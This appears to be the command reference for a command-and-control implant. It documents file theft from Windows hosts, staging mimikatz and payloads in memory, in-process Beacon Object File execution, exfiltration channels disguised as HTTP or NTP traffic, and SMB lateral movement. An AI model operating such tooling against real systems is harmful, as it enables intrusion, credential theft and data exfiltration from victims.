Commands

This document outlines the available commands for the implant, grouped by functionality.

WARNING: Windows paths require double backslashes (\\). The command parser uses \ as a delimiter. A single backslash will be consumed by the parser, mangling your path. Always write C:\\Users\\ not C:\Users\.

Wrong: file download C:\Users\user\secrets.txt

Right: file download C:\\Users\\user\\secrets.txt

Command Tree

------
System
------
exit                 : Exit the implant. Kills the implant process on the host.
sleep                : Sleep for a specified number of seconds. Ex: `sleep 5`

-----------
File System
-----------
cd                   : Change the current working directory. Ex: `cd C:\\Users\\`
ls                   : List the contents of a directory. Ex: `ls C:\\Users\\`
file download        : Download a file from the host. Ex: `file download C:\\Users\\user\\file.txt`
file upload          : Upload a file to the host. Ex: `file upload C:\\Temp\\file.txt <base64_contents>`
                       From filestore: `file upload C:\\Temp\\file.txt fs:filename`

------------
Memory Store
------------
memstore list        : List all file names in the memstore. Ex: `memstore list`
memstore upload      : Upload a file to the implant memstore. Ex: `memstore upload <file_name> <base64_contents>`
                       From filestore: `memstore upload <file_name> fs:filename`
memstore download    : Download a file from the implant memory store. Ex: `memstore download <file_name>`
memstore delete      : Delete a file from the implant's memory store. Ex: `memstore delete <file_name>`
memstore clear       : Clear *all* files in the implant's memory store. Ex: `memstore clear`

-----------
C2 Strategy
-----------
strat active         : Show the currently active GET and POST strategies.
strat list           : List all strategies compiled into the implant.
strat set post       : Set the POST (exfil) strategy. Ex: `strat set post raw_60_1_1_1_80_HTTP_Mimicry`
strat set get        : Set the GET (tasking) strategy. Ex: `strat set get raw_60_1_1_1_80_HTTP_Mimicry`
strat set both       : Set GET and POST to one profile, or set them individually in one command.
                       Ex (same profile for both): `strat set both raw_60_1_1_1_80_HTTP_Mimicry`
                       Ex (split profile):         `strat set both raw_get_name raw_post_name`

---------
Execution
---------
bof                  : Run a BOF from base64, memstore, or filestore. Ex: `bof <base64_bof> [args]`
                       From memstore: `bof *my_bof_in_memstore [args]`
                       From filestore: `bof fs:my_bof_in_filestore [args]`

-----------
SMB Linking
-----------
link smb             : Link to a child implant via SMB named pipes.
                       Ex: `link smb <target_host> <inbox_pipe> <outbox_pipe>`
link list            : List all implants currently linked as children.
unlink smb           : Sever the SMB link to a child implant. Ex: `unlink smb <child_uuid>`

--------
Terminal
--------
help                 : Display this help menu.
history              : Show the task history for this implant (client-side, pulls from server).
clear                : Clear the terminal output.

A Note on Command Outputs

Every response from the implant is broken into at least three distinct fields rather than a single text blob:

data: The raw payload returned by the command (e.g., file listing, file contents, BOF output).

message: A human-readable status string translated from the Windows error code via FormatMessage.

Ex: ERROR_SUCCESS (0) → "Success"
Ex: 5 → "Access Denied"
See FormatMessage (winbase.h)

windows_error_code: The raw numeric Windows API error code, useful for programmatic handling.

See System Error Codes (0-499)

Some commands return additional fields. These are noted in the individual command sections below (e.g., strat active returns comms_get_strategy and comms_post_strategy).

0. Special Prefixes

These prefixes are not normal arguments — they trigger special resolution behavior with certain commands. They are supported on commands that accept binary input: file upload, bof, and memstore upload.

Prefix	Meaning	Where data comes from
`*`	Dereference — load data from the implant's memory store by name	Implant-side (already uploaded via `memstore upload`)
`fs:`	Filestore fetch — load data from the server filestore by name	Server-side (uploaded via the Filestore page or auto-captured from `file download`)

The Dereference Operator (`*`)

The * prefix pulls data from the implant's in-memory store. The file must already exist on the implant (via memstore upload). No data is transferred from the server, the implant reads from its own memory.

Syntax:

<command> *<memstore_name> [other args...]

Examples:

Traditional upload (sends bytes over the wire each time):

file upload C:\\Temp\\not_malware.exe <base64_blob>

Dereferenced upload (pulls from memory store, no re-transfer needed):

file upload C:\\Temp\\not_malware.exe *my_payload

BOF from memstore:

bof *arp.x64.o

The Filestore Prefix (`fs:`)

The fs: prefix pulls data from the server's filestore. The file is fetched by name, resolved to bytes, and sent to the implant as if you had pasted the base64 yourself. This is a client-side convenience, the implant never sees the fs: prefix.

Files get into the filestore two ways:

Manual upload — via the Filestore page in the UI
Auto-capture — file download results are automatically saved to the filestore by the server's response pipeline

Syntax:

<command> fs:<filestore_filename> [other args...]

Examples:

Upload a file from the server filestore to the target host:

file upload C:\\Temp\\mimikatz.exe fs:mimikatz.exe

Run a BOF from the server filestore:

bof fs:arp.x64.o

Stage a tool in the implant's memory store from the server filestore:

memstore upload my_tool.exe fs:my_tool.exe

`fs:` vs `*` — when to use which

Scenario	Use	Why
One-shot BOF execution	`fs:`	No need to persist in implant memory
Repeated BOF execution	`*`	Transfer once to memstore, run many times without re-transfer
Upload file to disk	`fs:` or `*`	`fs:` if file is only on the server; `*` if already in memstore
Stage a tool for later	`memstore upload ... fs:name`	Pulls from server filestore into implant memory store

Common pattern: memstore upload tool.exe fs:tool.exe (server → implant memory), then bof *tool.exe (run from memory, no transfer).

1. System Commands

Control the state and execution of the implant process itself.

Command	Description
`exit`	Terminate the implant process on the host.
`sleep`	Update the implant's sleep interval.

`exit`

Kills the implant process on the host. No response is returned.

Usage: exit

`sleep`

Updates the implant's sleep interval to the given number of seconds.

Usage: sleep <seconds>
Example: sleep 60

Return Values

Field	Value
`data`	The updated sleep interval (as a string)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

2. File System Operations

Interact with files on the host's disk.

Command	Description
`cd`	Change the current working directory.
`ls`	List directory contents.
`file download`	Pull a file from the host to the server.
`file upload`	Push a file from the server to the host.

`cd`

Changes the current working directory on the host.

Usage: cd <directory>
Example: cd C:\\Users\\

Return Values

Field	Value
`data`	`""` (empty — no output on success)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`ls`

Lists the contents of a directory. Defaults to the current working directory if no path is provided.

Usage: ls [directory]
Example: ls C:\\Users\\

Return Values

Field	Value
`data`	Newline-separated list of entries. Split on `\n` for programmatic use.
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`file download`

Retrieves a file from the host.

Auto-capture: Successful file downloads are automatically saved to the server filestore by the response pipeline. The saved file can then be referenced with fs:<filename> in other commands, or downloaded from the Filestore page. The filestore entry includes provenance metadata (uploaded_by, source_implant).

Usage: file download <file_path>
Example: file download C:\\Users\\user\\secrets.txt

Return Values

Field	Value
`data`	Raw file bytes. Displayed as base64 in the UI.
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`file upload`

Writes a file to the host from base64-encoded content, from the memory store (*), or from the server filestore (fs:).

When using the GUI, paste a Base64 string — the interface decodes it before serializing to MessagePack. When calling the API directly, you can pass raw binary in the MessagePack task.

Usage: file upload <file_path> <base64_content>
Deref usage: file upload <file_path> *<memstore_name>
Filestore usage: file upload <file_path> fs:<filestore_filename>
Example: file upload C:\\Temp\\tool.exe <base64_file_contents>
Example (filestore): file upload C:\\Temp\\mimikatz.exe fs:mimikatz.exe

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

3. C2 Strategy

Manage how the implant communicates with the C2 server. Each implant has a GET strategy (how it retrieves tasks) and a POST strategy (how it exfiltrates data/results). Strategies are named using the callback host (set at build time), the listener port, and the profile name. See Listeners > Callback Host for details on how strategy names are derived.

Command	Description
`strat active`	Show the currently active GET and POST strategy names.
`strat list`	List all strategies available in the implant.
`strat set post`	Set the POST (exfil) strategy.
`strat set get`	Set the GET (tasking) strategy.
`strat set both`	Set both GET and POST strategies in one command.

`strat active`

Displays the names of the currently active GET and POST strategies.

Usage: strat active

Example output:

--- comms_get_strategy ---
raw_60_1_1_1_80_HTTP_Mimicry
--- comms_post_strategy ---
raw_60_1_1_1_80_HTTP_Mimicry

Custom Return Fields (in addition to standard data, message, windows_error_code):

Field	Value
`comms_get_strategy`	Name of the active GET (tasking) strategy
`comms_post_strategy`	Name of the active POST (exfil) strategy

`strat list`

Lists all strategies compiled into the implant.

Usage: strat list

`strat set post`

Sets the POST (exfiltration) strategy.

Usage: strat set post <strategy_name>
Example: strat set post raw_60_1_1_1_80_HTTP_Mimicry

`strat set get`

Sets the GET (task retrieval) strategy.

Usage: strat set get <strategy_name>
Example: strat set get raw_60_1_1_1_80_HTTP_Mimicry

`strat set both`

Sets GET and POST in a single command. Pass one name to apply it to both channels, or two names to set them independently.

Usage (same profile for both): strat set both <strategy_name>
Usage (split profiles): strat set both <get_strategy_name> <post_strategy_name>

Examples:

strat set both raw_60_1_1_1_80_HTTP_Mimicry

strat set both raw_60_1_1_1_80_HTTP_Mimicry raw_60_1_1_1_123_NTP_Mimicry

4. Memory Store

Interact with the implant's volatile in-memory storage. See MemStore docs for full implementation detail.

Command	Description
`memstore list`	List all filenames in the memory store.
`memstore upload`	Upload a file into the memory store.
`memstore download`	Download a file from the memory store.
`memstore delete`	Delete a specific file from the memory store.
`memstore clear`	Wipe all files from the memory store.

`memstore list`

Lists the names of all entries in the memory store.

Usage: memstore list

Return Values

Field	Value
`data`	Newline-separated list of file names
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore upload`

Uploads a file into the implant's in-memory store. The file never touches disk.

When using the GUI, pass a Base64 string. The interface decodes it before sending.

Usage: memstore upload <file_name> <base64_content>
Filestore usage: memstore upload <file_name> fs:<filestore_filename>
Example: memstore upload my_tool.exe aabbcc==
Example (filestore): memstore upload my_tool.exe fs:my_tool.exe

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore download`

Retrieves a file from the memory store. Returned as raw bytes (displayed as base64 in the UI).

Usage: memstore download <file_name>
Example: memstore download my_tool.exe

Return Values

Field	Value
`data`	File bytes (base64 in GUI)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore delete`

Removes a specific file from the memory store.

Usage: memstore delete <file_name>
Example: memstore delete my_tool.exe

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

`memstore clear`

Wipes everything from the memory store.

Usage: memstore clear

Return Values

Field	Value
`data`	`""` (empty)
`message`	Windows error message
`windows_error_code`	Resulting Windows error code

5. Execution

Command	Description
`bof`	Load and execute a Beacon Object File (BOF) in-process.

`bof`

Executes a compiled Beacon Object File (BOF) within the implant's process space. The BOF bytes can be supplied as a base64 string, loaded from the implant's memory store (*), or fetched from the server filestore (fs:).

When calling via the API or GUI, supply the BOF bytes as base64, place the tool in the memory store first (memstore upload) and reference it with *name, or reference a file in the server filestore with fs:name.

Usage: bof <base64_bof_bytes> [args...]
Deref usage: bof *<memstore_name> [args...]
Filestore usage: bof fs:<filestore_filename> [args...]

Examples:

bof <base64_encoded_bof> -domain contoso.local

bof *enumerate_domain -domain contoso.local

bof fs:enumerate_domain.o -domain contoso.local

Return Values

Field	Value
`data`	Captured stdout from the BOF. Empty if execution failed or no output.
`message`	Windows error message
`windows_error_code`	See codes below

Error Codes:

Code	Meaning
`0` (`ERROR_SUCCESS`)	BOF executed successfully
`ERROR_INTERNAL_ERROR`	BOF launcher failed to initialize, or BOF failed to execute
`ERROR_BAD_FORMAT`	BOF bytes could not be parsed or loaded from memory
`ERROR_OUTOFMEMORY`	Argument structure failed to initialize
`ERROR_UNIDENTIFIED_ERROR`	BOF finished but no output could be retrieved from the context

6. SMB Chaining / Lateral Movement

Link implants together over SMB named pipes to route tasking and results through a chain without each node requiring direct internet access.

Command	Description
`link smb`	Connect to a child implant via SMB named pipes.
`link list`	List all currently linked child implants.
`unlink smb`	Sever the SMB link to a specific child.

`link smb`

Establishes an SMB named-pipe connection from this implant to a downstream child. The child must already be running and listening on the specified pipes.

\\.\ is automatically prepended to the pipe names — supply just the bare pipe name (e.g. inbox2, not \\.\inbox2).

Usage: link smb <target_host> <inbox_pipe> <outbox_pipe>
Example: link smb 192.168.1.50 inbox2 outbox2

`link list`

Lists all child implants currently linked to this implant.

Usage: link list

`unlink smb`

Severs the SMB link to a specific child implant by its UUID.

Usage: unlink smb <child_uuid>
Example: unlink smb 01932ba4-1234-7f00-a12b-000000000000

Command Tree​

A Note on Command Outputs​

0. Special Prefixes​

The Dereference Operator (*)​

The Filestore Prefix (fs:)​

fs: vs * — when to use which​

1. System Commands​

exit​

sleep​

2. File System Operations​

cd​

ls​

file download​

file upload​

3. C2 Strategy​

strat active​

strat list​

strat set post​

strat set get​

strat set both​

4. Memory Store​

memstore list​

memstore upload​

memstore download​

memstore delete​

memstore clear​

5. Execution​

bof​

6. SMB Chaining / Lateral Movement​

link smb​

link list​

unlink smb​

Command Tree

A Note on Command Outputs

0. Special Prefixes

The Dereference Operator (`*`)

The Filestore Prefix (`fs:`)

`fs:` vs `*` — when to use which

1. System Commands

`exit`

`sleep`

2. File System Operations

`cd`

`ls`

`file download`

`file upload`

3. C2 Strategy

`strat active`

`strat list`

`strat set post`

`strat set get`

`strat set both`

4. Memory Store

`memstore list`

`memstore upload`

`memstore download`

`memstore delete`

`memstore clear`

5. Execution

`bof`

6. SMB Chaining / Lateral Movement

`link smb`

`link list`

`unlink smb`